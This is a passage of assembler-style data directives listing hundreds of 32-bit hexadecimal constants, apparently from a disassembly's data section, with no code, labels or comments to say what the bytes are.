0D3F7D2BAh, 3644E2D0h dd 0E3857D0Fh, 3BEEF0Eh, 654886C9h, 920218F6h, 55B76DC8h dd 0F22355BDh, 0FEE8EA01h, 0FD9DFFE1h, 0E919649Eh, 5C0A4B9Dh dd 0C42EF87Bh, 2CEF91C2h, 1001C7ECh, 0E96A3223h, 5F81FA12h dd 0F84375C5h, 56B17A2Ch, 8744C80h, 0EE0105E1h, 3DEC5D4Fh dd 7710E9C6h, 0DCEE5F60h, 9D1CE309h, 0EE3D201Ch, 1C4AACDFh dd 0DB57FB0Ah, 265BDC2h, 74F4B868h, 5053D62Fh, 0F060CDE9h dd 79BBEBA9h, 1B705CB0h, 1A47BE14h, 0F8540EC9h, 57428768h dd 5B325559h, 0E863E055h, 0C0B2BD46h, 8B9721F0h, 0E22C004Dh dd 5C54071Ch, 18043964h, 0C063715Dh, 2B727972h, 0D6314703h dd 22901E9h, 60B6BA34h, 96602A78h, 0B51D69h, 0F844C181h dd 4AE9F0A2h, 0C76432D9h, 9F79D87Dh, 0FDAF3C56h, 0F082D2B2h dd 455729DAh, 98C31698h, 0A4523D78h, 7FF30C95h, 5C3472ADh dd 0FF921542h, 50BCFD85h, 581C0A4h, 270A4874h, 0E00AC3E9h dd 950C8043h, 0FF4EEEA9h, 6361EF88h, 73B870EAh, 6836E8C9h dd 0DD5710ABh, 561662Dh, 348BD47Ch, 5C91CEB5h, 8608C31h dd 0C0B70FC3h, 3394789Ah, 0A112166Bh, 0A33F2AE4h, 60009275h dd 0E264486Fh, 0BF63F8E9h, 88B492A4h, 0FD0BF1C5h, 5D7F7B73h dd 0A11EE982h, 14B05D05h, 9751BCC4h, 0BC99BA1Fh, 0B7250FFCh dd 0D4A1E4F3h, 1E73A68Dh, 0A22AF03Ah, 72B27A04h, 0C8FBEED1h dd 4A604144h, 5859CD57h, 1D4BE881h, 81532E13h, 0AF33FFF5h dd 0DEB53E57h, 2C12B200h, 0BEF2B519h, 0E95E0880h, 3DC68B49h dd 2DEBDE68h, 0DC902B09h, 28093DCCh, 1935F07h, 6F4B016Ah dd 4C2ADE9h, 8912F2A8h, 0D9FEFCCFh, 6530E788h, 418C9E53h dd 70F1B050h, 6CC65B2h, 80EF4878h, 5858C189h, 0E75A27C2h dd 0E45C1284h, 7DDE381Fh, 41014064h, 46438D44h, 54579F40h dd 247677EFh, 0ACED6F7h, 629D3BE6h, 2A61E801h, 28BE042Eh dd 375B36BAh, 58050F25h, 938C49F6h, 4A73092Dh, 867D1970h dd 4F4E56A0h, 52C8D844h, 360BE690h, 75484947h, 0E9C23E2Eh dd 2FC85AE2h, 6CB03E5h, 1E65FD02h, 0A5AF2E92h, 0C4B77BC9h dd 396858C1h, 0E3F33B15h, 13764BD2h, 0C9BBC530h, 305C637Ah dd 430212A0h, 532524ECh, 5B5062E6h, 9B5BA0CBh, 0E5EDA19Dh dd 0EB52AD57h, 0F22641Eh, 0B947D5D9h, 0CFD01C69h, 0A817D9BDh dd 5DC71EEFh, 0FB01CBBCh, 173EDEC5h, 250DA005h, 0A13FD369h dd 0FF1470B1h, 175ECE7Fh, 9F8BA1B0h, 8C71B2D4h, 6809E928h dd 5462D10h, 9306B378h, 71D7E93Fh, 0C6C105B7h, 1F5DB66Ah dd 42AC4BD4h, 0DE2412C6h, 7650EA21h, 926EBFF8h, 0EA9F1FF6h dd 6A007574h, 6AC2F078h, 4C95315Dh, 143604D8h, 1281634Ch dd 9D035FFh, 59CA0489h, 0EE5DEA31h, 4B06D88Eh, 0B368B3E9h dd 783172ECh, 3AF29E56h, 0CF87EE05h, 85DC07D7h, 0F0875ADAh dd 8098E35Ch, 12EC6061h, 0E320505Eh, 5B69C22h, 986EE268h dd 1058BCB3h, 5FBBD2D7h, 0D04C0BFCh, 292FE75Ah, 0F6B2FDA8h dd 0E984355Bh, 0ACBABE5Fh, 522080AEh, 9D297AFCh, 0A9B1AFDh dd 9231C60Ch, 43880A8Bh, 0F425EDFAh, 941FC2BEh, 54F68001h dd 6C1E817Eh, 58416251h, 0CDE2CC3Dh, 59EB3988h, 0DD87EABAh dd 0A3515B66h, 0EA97F6D1h, 0E6D627C0h, 3FB01120h, 66AB4B33h dd 0D1B3F152h, 0B1ABA86Bh, 0A23CC5E9h, 3E45E15Bh, 0DD44E449h dd 140241A9h, 1046066h, 7E4CA5BFh, 0B72469A5h, 4B561A5Eh dd 90D51D7Ah, 97A81A14h, 0D75A257Eh, 0E5B78CCEh, 433888CBh dd 4F3AC381h, 0A12A61E7h, 884CAD4h, 50D4E05Dh, 412FE6B5h dd 4FE17A22h, 9F1877E0h, 5C25F4DBh, 1CEA4286h, 96D3520Fh dd 90135BE1h, 5D5FE582h, 4D27C112h, 70FC7D00h, 0C5213252h dd 718ED21h, 84E922D4h, 5C2A43Ch, 68E5D104h, 5FD81E9Dh dd 7FA70482h, 0EEDD313Eh, 905E6DCEh, 27F66875h, 0FC6415C9h dd 0B7C39FD8h, 26CB6003h, 165EC47Eh, 53083FCh, 502A4420h dd 0DEFD014Bh, 0FFDC2D27h, 0F12ADFC2h, 0BCD08C07h, 0FD9D5950h dd 0AA065E84h, 0A2AFAD12h, 18488Dh, 1A9C5E77h, 9F43DBF7h dd 7D0B9B64h, 40DEAC4h, 6F90C784h, 3B5186E6h, 0E1172DB1h dd 4F9AD85h, 59CE30DCh, 4ECD9CB4h, 92D5FDA6h, 3BB7F1BEh dd 9D57472Ch, 9156C0DEh, 4FA81F9Bh, 0F702140Ah, 0E4DD555Eh dd 78E0F22Fh, 8D6B2E52h, 1DA4439Ch, 0E8281C12h, 53197AF3h dd 7042CC52h, 0A39EF5A1h, 4E1A218Ch, 0C9C1F846h, 9A785F3Dh dd 8C44D4BEh, 41F6890Dh dd 3B08EE25h, 8109C9C3h, 58D877D8h, 0CF2D1E5Ah, 0D29D186Ah dd 0BB2F2A9Fh, 1D287D2Ch, 0F9020897h, 375CB902h, 48B341D0h dd 2E351325h, 0E82F9B21h, 0B4B7EE8h, 19E93B16h, 0BF6F2E84h dd 2768E7CCh, 0AD5E3A30h, 25E95950h, 1C55B2A1h, 0B468EA17h dd 0CCAF9C40h, 980608EBh, 96416595h, 868E1568h, 0FC4388Bh dd 0A2385A9Fh, 27495C50h, 6861F9E5h, 0F63B4625h, 8AEE96DFh dd 3E0D126Ch, 638FB044h, 0E7FF37BBh, 0FBD26FCFh, 39344B2h dd 1E3D4D81h, 7A23E989h, 9EAA5C16h, 42491260h, 0EE4E6BF2h dd 7430E537h, 4BC1408Dh, 0BD1EC0E1h, 64202920h, 0F844F931h dd 17FD9AC0h, 0C990C15Bh, 0E0BF551Bh, 22549A68h, 841EBA5Fh dd 8180E87Eh, 0B3E63EAh, 4452B768h, 723EF271h, 4C4A2E5Eh dd 7DD05837h, 0C28BCEC6h, 1C42E970h, 0B60987E4h, 817E3279h dd 904B0928h, 1D45CCEh, 54F8576Fh, 7FBC3189h, 88018B25h dd 3C0C677Fh, 163BCF20h, 0BE06A120h, 1BB18506h, 30581226h dd 99FF12C8h, 0AF1B43E8h, 0D5E93187h, 5D88AFFEh, 7AB26E91h dd 77EF2440h, 253D6202h, 0FFD42C8Bh, 97370270h, 2068E4A1h dd 1283376h, 77B8BF57h, 0F8E4550Bh, 0F7019D5Fh, 7ED562E9h dd 688242FCh, 6CDC0907h, 845A0EC3h, 852DF3BFh, 0F5FA2FC4h dd 594E030h, 90A889DFh, 7F278909h, 8AF00075h, 0FA0B8E1Ah dd 69099F71h, 5BF31457h, 0F007B854h, 9D2A4668h, 68414FDBh dd 26C036Dh, 0A91C1DC4h, 7EC5045Dh, 2807075h, 5A0256A0h dd 0EA11C708h, 21C3408h, 33746814h, 0BE3CC7Fh, 60366C8Eh dd 50063C00h, 294E8168h, 1F2C1CCCh, 736A640h, 247E7BE1h dd 0A8769561h, 71180487h, 8818970h, 0A1A5A8E9h, 0C29DC5F7h dd 90D6DB68h, 0AD2B0840h, 0C4BD056Dh, 0EFAF678Eh, 4A3CF4F0h dd 4F94B31Ch, 0E4B9F291h, 85C0273Bh, 59A84493h, 97ECAC20h dd 0C38D42C1h, 69B10104h, 6F620B17h, 31C1E5A4h, 0E90E04E6h dd 4A123C7Ah, 0ED6DC9EEh, 0AAF05507h, 0EC5E889Ah, 10DA10D7h dd 7EF9E95Bh, 822F8499h, 7F8A9E98h, 0BFCA3726h, 0EF6D7EBDh dd 0B8C7FCC5h, 0A7EBE4F2h, 0C0E919EFh, 845229DDh, 0BD0EC90Dh dd 2E4433E4h, 2834D4Bh, 70656DDh, 0FC576ADFh, 0DA893A98h dd 0D8FEFBDFh, 74D6010Bh, 0CF22C29Dh, 0F427790Ah, 9BBA6C2h dd 0D974A3BFh, 0B5003644h, 0BAEA803Dh, 5BE2CFE1h, 117E8F4h dd 0B480DCEh, 0C7BD5220h, 0C745A529h, 888597A4h, 81EE53FAh dd 44F72Ch, 9C5EF129h, 6BE15241h, 405BEC28h, 63DC297h dd 5BC05907h, 9FEEA297h, 5F0482A5h, 0AC145787h, 5ADD6F65h dd 9844C289h, 0AC3FA58Dh, 0FFF4893h, 64053543h, 8684F101h dd 62BE0817h, 0C4051A9h, 0B9802FCCh, 0AE620028h, 5EABBA45h dd 68B5744Dh, 1D94F26Fh, 0BC679012h, 1C18C584h, 0B9F88057h dd 4D5A7B6Bh, 0D04A8F9h, 0C015A21Fh, 0CB02920Ch, 73A07C4Bh dd 87FE4801h, 25106605h, 0A475825Dh, 5ED3BB00h, 312C2793h dd 0ABA07F5Ch, 0FD1E301h, 1BE91D9Ch, 22E6882Bh, 0F06C660Eh dd 2CFB5289h, 23BD014Bh, 79E7F0D6h, 411C1337h, 92C5EE80h dd 0A8E545C5h, 3B1CCAE4h, 0A17C2CB7h, 0C8C2A4EEh, 0B3C52958h dd 827B273Ch, 9E95605h, 0D1B95590h, 0F883A5Fh, 7815A7Bh dd 63358466h, 0ED8355F1h, 7CC980CDh, 7D612672h, 0F6F7FA18h dd 0E3CA83Eh, 0FE9AE1E9h, 0B6546826h, 11B0743h, 83F52419h dd 0B79B8B08h, 9004C4C5h, 65A65C9Ah, 29A0174Eh, 14FCB55Eh dd 0F3E91C54h, 94DF254Fh, 0C5A39502h, 0A707283Ah, 0F331C9F5h dd 396665CFh, 70C394D1h, 2258A307h, 99F22B03h, 0D931D44Bh dd 0B23B9816h, 0A7EB80DBh, 0BD52513Dh, 2ACD0369h, 0E9F338ABh dd 0D77FC825h, 0FEC4EE98h, 292DE209h, 0B6C6D7F7h, 0D6BDFEB2h dd 0E10252F2h, 0E376DFA6h, 0E2CE29C3h, 9991D8B6h, 0B0953CABh dd 688F5C5Fh, 0AA1725CEh, 2CE9BD9Ch, 0D2FF0326h, 4BEC76h dd 0C85EFE31h, 0E6E91412h, 0EC971A0Eh, 615474C2h, 380977CAh dd 467ACB68h, 2E7D098Dh, 0AC0469C2h, 4823F283h, 8E688260h dd 151A7734h, 0FCAD84C5h, 0D17C5223h, 90727B42h, 2406F8E4h dd 2F96130h, 77030709h, 0C2D220FDh, 2723BB6Fh, 96DD8908h dd 93E1279Ah, 9692F6C4h, 5E63DA1Ch, 28C15F96h, 802B917Eh dd 0FC02B1E0h, 0AB0C7460h, 0B5283717h, 82756E89h, 5447FE0Ch dd 0DC360BBh, 0E9130313h, 0E1D12D45h, 8C2E6921h, 185AD5D5h dd 2FB46A41h, 0FF406673h, 9DDF5690h, 0E3A800F8h, 703E6FE1h dd 823077B4h, 0E6B76C32h, 4FFD7930h, 0ACC40FC6h, 54CCD8FDh dd 6815595Dh, 4C4C70E2h, 4D8859EAh, 0CC680922h, 4BB2C666h dd 0ED9B17F4h, 0E5FBF476h, 3D1FDCAFh, 55D86E48h, 0DFE46E60h dd 0E6B98E7h, 9CF0B8F7h, 0A9CCFB16h, 24154F5Ah, 0D7ADBEB2h dd 0E8609985h, 0DB31C5D7h, 53095CE2h, 8A890368h, 3508E476h dd 0D00104BEh, 9642EB05h, 4053525Ah, 146EB6Bh, 50BB6247h dd 31C52390h, 46D06FC6h, 5FE9FB29h, 4A41BAADh, 0D81C94BAh dd 0B878C42Eh, 1B4E4EB3h, 0F61E93C3h, 4BE0E986h, 6FF69F34h dd 82915F52h, 769DA514h, 0D45EAFA2h, 5F65FFAh, 0C85B19FBh dd 3BC5B3EAh, 0CDEC26B5h, 0ED17DFADh, 5F27A0F2h, 0E448F958h dd 74B812D3h, 0AE4A1349h, 643AE12Dh, 2846D952h, 98158477h dd 0A78ABCABh, 0FD1A42D2h, 51ED8A1h, 3F21494Ah, 1823A8C1h dd 9612BB05h, 4BD0A4EEh, 3BF38103h, 0E1B045E3h, 8A6E1ADBh dd 300E48FCh, 29CF195Dh, 3A0E2457h, 95C2C43h, 8A7C1E2Eh dd 5F901C64h, 9D8136E0h, 0C870B7C0h, 0C26B530h, 4075328Ch dd 0C125F1Ah, 88ECA17Fh, 0F567D37Eh, 0A3CE6A32h, 76B66A49h dd 0C2173D00h, 36E94212h, 0F4E79D40h, 0B2FF5012h, 9034D31Ah dd 0A89613BEh, 84B8D0BDh, 0B8AB1556h, 12CCE1A1h, 13E6B62Eh dd 136132C6h, 0E32F434Bh, 2B9A9F47h, 275DDC2Dh, 403519DFh dd 803FC73Ch, 0D57E3D25h, 0B8B2E87Ah, 7E5D81EAh, 7CCDD0A2h dd 78E040DFh, 80BDFD45h, 0DC1D7742h, 0D8939F0Bh, 299E60DFh dd 3ABA37C4h, 0F119A1BDh, 84EFB533h, 0D4A8A3FBh, 58AA01B4h dd 3668ABF8h, 2CFEA43Eh, 9DC254Dh, 0FC02C383h, 0D1FD7A5Fh dd 121F0BF8h, 5902EBD9h, 61585150h, 513D9BD9h, 0D703901Dh dd 949D0116h, 7E493C2Bh, 0A2C5CDF0h, 25F46408h, 32C61B3Bh dd 7E575026h, 95368405h, 0BCD7D381h, 0E0FAD43Ah, 0D2F6572Ch dd 0F12D60BCh, 0ECE8020Ch, 565715FEh, 40605A60h, 0AF3021C6h dd 203DA469h, 55280B3Bh, 2F58FEE9h, 70BF84B0h, 80F2B57Eh dd 52B4F497h, 5F06C2DDh, 5D525FDEh, 0E9D08976h, 74CE4F90h dd 0B1A3AE26h, 0F461BA4Bh, 0FD7DCC93h, 0F8E6D118h, 5B94435Fh dd 6A866EFh, 114F250Bh, 0BB6257F4h, 56C42CE3h, 525FBE5Eh dd 5646AE8Bh, 2AB383C4h, 0AADAD920h, 554B0070h, 49C2D0F2h dd 3DC39047h, 19E2CAF8h, 22419C26h, 5B0D2302h, 66747D16h dd 0F9C3950Bh, 0F368057Bh, 3EDEBA78h, 0BD5E5D2Dh, 5E535C5Ch dd 4607F205h, 151FC71Fh, 7064E9C4h, 587118BFh, 0C2E80B35h dd 4CD798C4h, 796F300Fh, 94E38034h, 2F45EDF1h, 217F578Dh dd 89D02986h, 4E1D8DD4h, 6C6B914Bh, 0BC5368Eh, 8E921087h dd 5D938BEAh, 65BC2BE8h, 0EDF54DC7h, 0DA186C03h, 1752F403h dd 6B2C0147h, 2125AF39h, 0E74B3FBCh, 6AA5F7C7h, 0B5B7BE5Eh dd 0E5AFE93Eh, 0A9A895FBh, 0C00C4129h, 8C55FA5h, 5B65E52Eh dd 4883E6FAh, 85393067h dd 253B9FC3h, 0F3800676h, 460F684Bh, 42E5F5C9h, 26B59D3h dd 5BBE6F33h, 63429245h, 7A770920h, 9DB1F445h, 28B08503h dd 2373A3B9h, 5A6C5868h, 0BEE4B8ACh, 0DD29E841h, 0AE740BE9h dd 3F5F1C2Dh, 0AF18FD63h, 0C7BD1486h, 0EE11E17h, 9A690BFFh dd 893D3E44h, 0E20A12F9h, 0C009E1FDh, 0CDD8C405h, 924FEB7h dd 0BE60CFE9h, 7CB7295Eh, 95F66B16h, 7D4B3CB0h, 0B49714Eh dd 5303E1C1h, 46978001h, 0C37D209Ch, 0D3F75814h, 2D0E02BDh dd 0E317502h, 22D7028h, 24955D9h, 0DAB2F101h, 8805AF57h dd 2BF023Eh, 17C1255Fh, 3A47D9E7h, 63DA79A0h, 9A68AF41h dd 0C195E895h, 759D167Ch, 4ACB7660h, 5A27A218h, 8AF556EBh dd 2DB74E7Ah, 1218EE5Ah, 41E7E92Bh, 0B4207F42h, 4CE6FF64h dd 0CA04DDF3h, 0EE59135Fh, 7B08CC50h, 2A305393h, 4E8602D8h dd 165EA86Fh, 0CCABB499h, 0BB4B4373h, 0C9BD4544h, 1751A4B4h dd 0FCF361C7h, 3CC81005h, 1166A84Eh, 0F6000EB6h, 41381DBFh dd 5E4EF321h, 614DC9FFh, 4B8C250Bh, 92EE4E5Fh, 7EDE5EEFh dd 10B6DF0Ch, 0D4A09BFh, 205638CCh, 59CF8905h, 0EAE713FAh dd 262CAC40h, 48014152h, 0F6E366FEh, 7E4315E8h, 72E80CC1h dd 0CEF05054h, 6D7A165Ah, 47590305h, 82F4585Ch, 0DD0921A2h dd 524B6266h, 3E6C6DBAh, 841267B1h, 0A4F077C2h, 94B937F6h dd 16BA5F3Bh, 7909BF5Dh, 5180B0B6h, 0CB4D86B9h, 6AF4BADh dd 10E83F20h, 73A529EDh, 0C1FD2890h, 0ACD644D8h, 62C03B6Bh dd 41F848Ch, 6603BB09h, 0FA2C6DC1h, 89D402Fh, 82BA0352h dd 294C3D75h, 0AD312428h, 4440EA90h, 470D02BDh, 0EDC13FF4h dd 0E2C54D40h, 1C01413h, 15A31F8h, 0DFACA992h, 5A8F3855h dd 0CB5F35FDh, 20B72D31h, 151BF318h, 0E3D8E53Fh, 1D4D1443h dd 613E8123h, 49609772h, 0A0257588h, 146C7C53h, 0E90908EBh dd 10E64226h, 97E4524Dh, 0C94EECECh, 3BC54170h, 21BE002Dh dd 78F62429h, 6231406h, 9C56C114h, 458E1D2Dh, 4B7A08B4h dd 0B5FB05CDh, 4CF4832Bh, 805BDD80h, 0EDE6C2FAh, 0C60B0A76h dd 4EE28C3h, 0E216307Ah, 0D25102Fh, 27A1BD5Bh, 0BD9878D5h dd 0DEADD0DBh, 0B708A001h, 594A0F7Ah, 58C4C344h, 0C13DB934h dd 75F06851h, 19023876h, 5A2CA343h, 85B9660h, 215DAE03h dd 0A541E9C2h, 0B86A68A5h, 550C6B30h, 5CB53CC4h, 970BE48h dd 5562B253h, 99696D07h, 5C8B1A5Dh, 9CD6A534h, 0C5C98007h dd 0F648E130h, 8E71E5D1h, 0ED7F69D5h, 3C899044h, 0B7284094h dd 6E5CC4D0h, 7D7F2016h, 0FD774B5Ch, 0DDE6CBEFh, 605F68B2h dd 5073524Ch, 0AA81DB88h, 752748Bh, 0A41092CEh, 0C4A0C489h dd 9326867Bh, 3C80AA40h, 0FA2CC4E4h, 0AB5893BEh, 0F3944E6h dd 8C97EE9Dh, 890605F6h, 7E6BE925h, 0D6712FB2h, 0A4FBC345h dd 19206FEh, 0D8927E95h, 0C297B9E9h, 0E979D18Dh, 68041B65h dd 2B81F0Eh, 55547EC5h, 2E04CC10h, 87604A19h, 0FA1C9586h dd 5527F69Ah, 30004D16h, 0BD112D3Fh, 5FCF2AEAh, 179DB215h dd 8CF453E9h, 47C409F1h, 507D43CCh, 5DB14DB5h, 1E073F50h dd 0D6191F6Eh, 5BD280D7h, 0F300B652h, 0F620CE80h, 14EED0DEh dd 0B703E6C0h, 34E98D04h, 0B176FF04h, 2E9D05B2h, 0BF010DE4h dd 2708AC10h, 30ADFA59h, 5665603h, 0C2C1978h, 2D142F2Ch dd 0ED680A07h, 0AA8EBD4Fh, 0CBBF134Bh, 55F24F75h, 0AAC121C5h dd 9F12E6E6h, 4BB3F93Ah, 59516A09h, 0EA21094Fh, 5566AF5Ch dd 3AD3B476h, 560B1392h, 0F191FF77h, 0A26A6D45h, 0FC56CB23h dd 535C702Ah, 48456801h, 505B36A8h, 2A20DCh, 0C7583C2Fh dd 62653042h, 9A0A8733h, 0AF474ADDh, 0ECD74ECBh, 6E03B001h dd 29502831h, 0F3E8B070h, 84F6276Eh, 3E01A139h, 59798790h dd 61D6BDB0h, 8B0C4624h, 32D223Bh, 6A6C2FA7h, 0EA41C801h dd 0F1264508h, 7D66A767h, 0DA33294Dh, 0BA4E02A0h, 4D0133B0h dd 82FDFD4Ah, 5DDDF727h, 2CF58FB0h, 2AB82FF2h, 0F4147B0h dd 27A9B36Ah, 0CAD27B53h, 7E6E0349h, 0C0F516Fh, 329D7AE4h dd 8CB50BEh, 1441554Ch, 0BFE99901h, 5164FED2h, 256F2CE7h dd 48BDD85Eh, 55346842h, 0E0BF1Eh, 0A0A516FAh, 8418201Ch dd 72121D4Ah, 278D5C01h, 16CD0C06h, 1AE9575Bh, 2E5E608Ch dd 9DA66870h, 0B85F200Bh, 0AEF81D4h, 48280FF3h, 2D25A88Ah dd 0C77AE0D1h, 815F2AFBh, 2A0F5D2Dh, 84A3096Bh, 0B8E18AB6h dd 2F9E724Fh, 0BB762502h, 5BEFCE0h, 788F16E0h, 0FC538450h dd 41BB5AD0h, 4E34870h, 0E96F74FAh, 22C25CF8h, 5E44B368h dd 5E77D21Dh, 99E9E26Eh, 6166B5E9h, 0A02DCCCFh, 1EAC0F4Eh dd 0C2BDE1B7h, 0DA60D239h, 5F20CA7h, 17389348h, 6C897192h dd 0C135F27Ah, 0C3B90C7h, 21CC992Fh, 74EC3F6Ah, 0FB4FE342h dd 7088410h, 19E10148h, 0EB644C35h, 5BE90C05h, 2FBDAD4h dd 36236885h, 9412DF6Ch, 14004612h, 8F036ACFh, 0E4F6037h dd 42830F4Ch, 18FA694h, 577F6920h, 0E986365Bh, 0EC6757E2h dd 2594B95Dh, 584403DEh, 0FCF04B4h, 142D3A9Bh, 0CA447564h dd 23317B54h, 0E4C02C59h, 73F4A660h, 9DC35093h, 0EA01B8E3h dd 2DFFA058h, 3EC7BFBBh, 0F520BC20h, 895C5CDFh, 82BCD6DEh dd 0F3E05E15h, 442D364Fh, 9D47C06Ch, 13A8091Bh, 0E36221E9h dd 520BD27Eh, 70837F66h, 0ECB5FE88h, 0C028BEDh, 597CECF6h dd 12072893h, 0A5201696h, 5A43F001h, 93BF8851h, 0F1B926C6h dd 945F9575h, 0F01ED348h, 885EA55Fh, 0F6E139BCh, 0FA8B60D6h dd 87EEC02Ch, 5046C61Dh, 83404FB0h, 0C9BBDCC9h, 6283BA9h dd 0F8C141C0h, 6C2EF5CBh, 0D20B8CA5h, 6E917CE6h, 4FEB377Bh dd 11A8F3FDh, 0E12E2AB2h, 0D00413F8h, 6129F3DEh, 9C04325h dd 0F380D569h, 1D23344Ah, 5AAB2D05h, 0CCB0352Bh, 5C170409h dd 0EF02EAE9h, 6EE93A99h, 43AD7D8Ch, 3FFB14F7h, 3045065h dd 0C8FA1789h, 16400D98h, 386AF15Bh, 0A0BF48FEh, 1968ED03h dd 47D0B7F6h, 0FB078609h, 0FC0CDF1Ah, 9703991Eh, 0C2E9AFC3h dd 4341DD3h, 762CDBDh, 0FCB721AFh, 10D02F43h, 229816BCh dd 321C60E3h, 1D3B5316h, 0EE4E7856h, 0ACD30F33h, 62072145h dd 8368DDB1h, 1F1947BFh, 0BBDC593Dh, 33C9562h, 45E1B317h dd 0E3070211h, 59B84FCAh, 27FBF64Ah, 8D095DEDh, 66B90455h dd 0B75FF3D3h, 34EBFDE4h, 0DFF1FBA3h, 7BC00F6Eh, 0FB9C8896h dd 2F28B95h, 9DBA952h, 2B05A3D2h, 580F5674h, 133D8BBBh dd 7FA478FDh, 9C6B4ABh, 348249BBh, 48505379h, 2B464109h dd 2050F44Bh, 8F5B5807h, 87702605h, 9316FF32h, 7CAAA00Ah dd 0F9D264Fh, 0E980B575h, 2AC26BF3h, 1A5ECEFAh, 8D055BF5h dd 109A58EAh, 0EA69875Ah, 77492B24h, 53256366h, 0EFF7DE06h dd 0BAD47365h, 2F6FF33h, 85668D3h, 41F77AF4h, 34CCB724h dd 0D1F7385Dh, 2E42E9AFh, 0A2D85FC0h, 31A6C00Ah, 9B088AF1h dd 0A4EA303Fh, 737B6079h, 74F4545Ah, 8ED4BDC6h, 6D4F0C34h dd 81DF086h, 0B113DEEBh, 2230B9C4h, 9207127Ah, 6009AA95h dd 1C67DA4h, 2A7450C1h, 0A53A51ABh, 0BF080485h, 0E4E91D42h dd 0ADEB596Ah, 80BD3FC4h, 606851DFh, 23989769h, 8C2D7AA5h dd 0AA29DD39h, 0D314FD86h, 0B9404705h, 0D681F756h, 800037E8h dd 283A9CEFh, 6AEBF2C7h, 13F788B0h, 0B3F83081h, 9331848Ah dd 7B103414h, 80844B05h, 4FD7ECAFh, 0F9933EFDh, 0F8DC10D2h dd 28772F72h, 0B30E36FDh dd 909ADEBh, 0E92AF9CEh, 5186C89Ah, 2B8D465Bh, 63B3F12Fh dd 70E90B06h, 0CAAD515Ch, 2029C5A5h, 230FE962h, 0B1B818C0h dd 5B256232h, 0B247A809h, 7C384041h, 0EF8C4A31h, 3F4EFB00h dd 17EAC10Bh, 0A046E907h, 5E0035FFh, 51BCC01h, 0FA8E615Fh dd 48D030F7h, 0AC289242h, 9FE154Bh, 90D7C72Ch, 781916E4h dd 88C39CA3h, 1C300F65h, 382A3Ch, 6AC12DDEh, 0F82937FCh dd 54070551h, 5EDBC132h, 27AC3ACCh, 5C0BFAD6h, 7FA6294Bh dd 0E29C46DAh, 4E045892h, 2D008DB0h, 472205DFh, 6AAF3505h dd 4EA8BF9h, 0FAAC6C9Fh, 7D40A144h, 0FC04FB12h, 0B8BBCAFEh dd 88B509DBh, 0EE4703F5h, 0F2C1074Fh, 23C93EE8h, 2CEADA87h dd 47DC7F0h, 0D8E052E4h, 0E6EFD3F5h, 0F64C5832h, 43584ECh dd 45755A09h, 40890873h, 5CD9080Bh, 0C6B41462h, 0BD092B20h dd 82014757h, 0D56507B5h, 0F1AF2B7Bh, 63D60CEh, 14F1E2Fh dd 2D072D8Eh, 0C0B03EA3h, 15398605h, 7D32E8FBh, 109FE048h dd 0BB025638h, 69AB0F0Eh, 0E970E35Dh, 6D226EBFh, 60B3C060h dd 0FC9054ABh, 0D668A0Bh, 77D03269h, 0B0A637D6h, 27857227h dd 0A0796C81h, 0BF0408A0h, 293EE011h, 0C4051B6h, 0D73F2CE9h dd 31588120h, 41215FFDh, 7DD9EEBAh, 6802045Ch, 0AB946CC1h dd 0D2DFA387h, 0D9EAF4FBh, 265E1E7Fh, 800471F9h, 0C77E6830h dd 0F4817BD5h, 2896E91Ah, 69FE4B13h, 0CF80153h, 0CB210018h dd 0FAC9059h, 1454DBBh, 0F41F14C5h, 2360C76Dh, 0E1814164h dd 3E772498h, 47790B00h, 0EBDFCF12h, 0C1F5928Dh, 680092CFh dd 98B55958h, 3003A330h, 0A46E178Eh, 85B03F55h, 85A1AF5Bh dd 0A717386Eh, 0F4E97540h, 0C5DBC2C6h, 82805F58h, 5A096542h dd 82077A9Fh, 14165F08h, 0A52771B7h, 643A6A6Dh, 82FB51ACh dd 77098509h, 44F57C0Bh, 0C1632AA4h, 61A680E8h, 0B2929713h dd 1F9135C0h, 8810E62Ch, 0A2505600h, 4117E913h, 2CC9769h dd 0ADE425ACh, 3E806266h, 0EB590499h, 304F9B8Bh, 6938EA1Ch dd 51490A22h, 0BF6008C2h, 0A8204E7Eh, 31AEE54Dh, 0D28B5470h dd 5BBD4ED7h, 275CB1BDh, 8A0896EEh, 52813DFCh, 0D646C268h dd 2ED2F165h, 0A3F4E412h, 187D9553h, 27E9D32Bh, 99D19E49h dd 0C183C825h, 2D4182BBh, 0F9C8C1A8h, 46873004h, 77283740h dd 4B8C32F9h, 615DD74Dh, 25200689h, 237F3452h, 4C28156h dd 8CC92A08h, 0C12C457Fh, 131AB239h, 82FA4DB6h, 0C051F9C4h dd 0A6B05A44h, 0F9303B71h, 898DEC4Bh, 0F571A926h, 66977516h dd 3A9F2FD2h, 70896259h, 0B3D25FFBh, 55D9012Ch, 0E1236900h dd 0ECE8127h, 2A040DA6h, 1106F6C0h, 2B717C8h, 0F4EFFD5Dh dd 0F6CC72F3h, 0A237CE95h, 0B6F0550Dh, 208FF095h, 0C01E7B3Dh dd 0FC0B03ECh, 64E5DEB7h, 8E95BC1Ch, 3A60052Bh, 503E1F8h dd 23D54096h, 0FC7FA7A8h, 30B1065Eh, 7F220704h, 0E91781BEh dd 72CA4D1h, 0AFD8F784h, 4ABAC8B0h, 0ECBB90F8h, 2B7B7E6Fh dd 84A1CE24h, 4B08B9A1h, 33B30BE8h, 252C075h, 15EB3F80h dd 0A58BA1AFh, 1229605Fh, 2F5B729Ch, 0ECD8CE31h, 89367CB5h dd 60F94087h, 0A2657F82h, 79E27442h, 87A26F50h, 0B28AEE93h dd 10E62D2Fh, 0FBD1840h, 0B080950Ch, 0EB236746h, 584DF52Dh dd 23C3974Ah, 7E1CD0F1h, 0D2AB5956h, 4258BF85h, 99272C3Bh dd 0C1419919h, 61B4A83Fh, 0DD1572ECh, 9F331570h, 3CDF3B62h dd 0E1F70BAFh, 0A4D70168h, 0B2AB14B6h, 768E0BFh, 9D83A578h dd 4C57278Fh, 0F9E92736h, 0AFF3BC09h, 9510EE6Ah, 1DF02114h dd 0AB131912h, 3608E231h, 2CF03D83h, 0AA855ABDh, 0B1025DB3h dd 0D2F18066h, 0C07E1F60h, 0FE02E901h, 11B353C9h, 4BFC3D5h dd 30D47EF4h, 0DD77FB9Ah, 7B98515Bh, 0F1BD0D92h, 1BE9E110h dd 0F009FE41h, 9CFD9DECh, 42DBB474h, 0A1F6C108h, 991BE1C3h dd 65C92AE9h, 687CA67Ch, 622284FAh, 21D53A44h, 3B1E6840h dd 4E678792h, 9EDC8975h, 112849CBh, 8F66B9A3h, 0FF503F0Bh dd 899B5BFEh, 7D30431Bh, 81BC27DCh, 22905647h, 2737CB47h dd 5582E3E9h, 